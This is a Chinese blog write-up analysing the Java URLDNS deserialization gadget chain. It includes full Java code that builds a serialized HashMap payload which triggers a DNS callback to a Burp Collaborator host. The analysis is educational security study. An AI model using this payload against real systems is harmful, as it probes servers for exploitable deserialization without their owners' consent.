前言
第一个gadget chain分析,因为zhege比较简单。
触发反序列化的条件
- 类要继承Serializable:java的序列化以及反序列化一定要继承Serializable。
- 找到入口类(重写readObject,调用常见的函数,参数类型宽泛,最好jdk自带)
- 调用链 相同名称,相同类型
- 执行类中的方法(RCE,SSRF等漏洞)
- 反序列化入口
分析
(我认为)挖gadget需要先找到执行类,猜测URLDNS的作者可能是想挖一个SSRF,因此想到URL这个原生类。因为要挖链子,所以要尽量找同名的方法,可以看到URL有hashCode方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
跟进handler.hashCode(),可以看到执行了getHostAddress方法。
而getHostAddress方法执行了getByName方法,getByName方法用于解析域名,该DNS解析过程自然是服务端发起的请求,也就达到了SSRF的目的。
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);//关键
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
现在找到了链子的后半段:
URL.hashCode() ->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()->InetAddress.getByName()
接下来找连接URL.hashCode()的前半段,很容易想到最好是原生类,并且readObject方法中一层接一层最终触发了hashCode方法。观察HashMap类的readObject最后几行调用了hash方法,而如果key不为null则调用key的hashCode方法,也就是说如果key是URL类的对象,则就会调用URL.hashCode()。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
//...略
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
因此整条链子:
HashMap.readObject()->HashMap.hash()->URL.hashCode()->URL.hashCode() ->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()->InetAddress.getByName()
错误的exp
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<Object,String> hashmap=new HashMap<Object,String>();
hashmap.put(new URL("http://?????.ceye.io"),"Squirt1e");
// serialize(hashmap);
unserialize();
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt")) ;
oos.writeObject(object);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.txt"));
HashMap<Object,String> hashmap = (HashMap) ois.readObject();
}
}
本地测试执行反序列化会发现并没有触发DNS解析。
这是因为Hashmap的put方法也会执行URL的hashCode()
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
注意到如果hashCode不等于初始化的-1时则直接return hashCode,如果用这个序列化的字节流反序列化肯定不会进行DNS解析。因此,我们需要修改hashCode的值为-1。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
最终exp
通过反射修改属性即可,注意hashCode为私有属性。需要通过setAccessible设置作用域。
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object,String> hashmap=new HashMap<Object,String>();
URL url=new URL("http://nqhaouynesbyaf4nivnxzrpwangh46.burpcollaborator.net");
hashmap.put(url,"Squirt1e");
Class clazz=url.getClass();
Field hashcode=clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,-1);
// serialize(hashmap);
unserialize();
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt")) ;
oos.writeObject(object);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.txt"));
HashMap<Object,String> hashmap = (HashMap) ois.readObject();
}
}
参考链接
1.https://blog.csdn.net/qq_47886905/article/details/123531299
2.https://www.bilibili.com/video/BV16h411z7o9?p=2&vd_source=fc78460cf16000301f7b3b1c07529ee0
3.https://www.cnblogs.com/starrys/p/15564335.html
4.https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java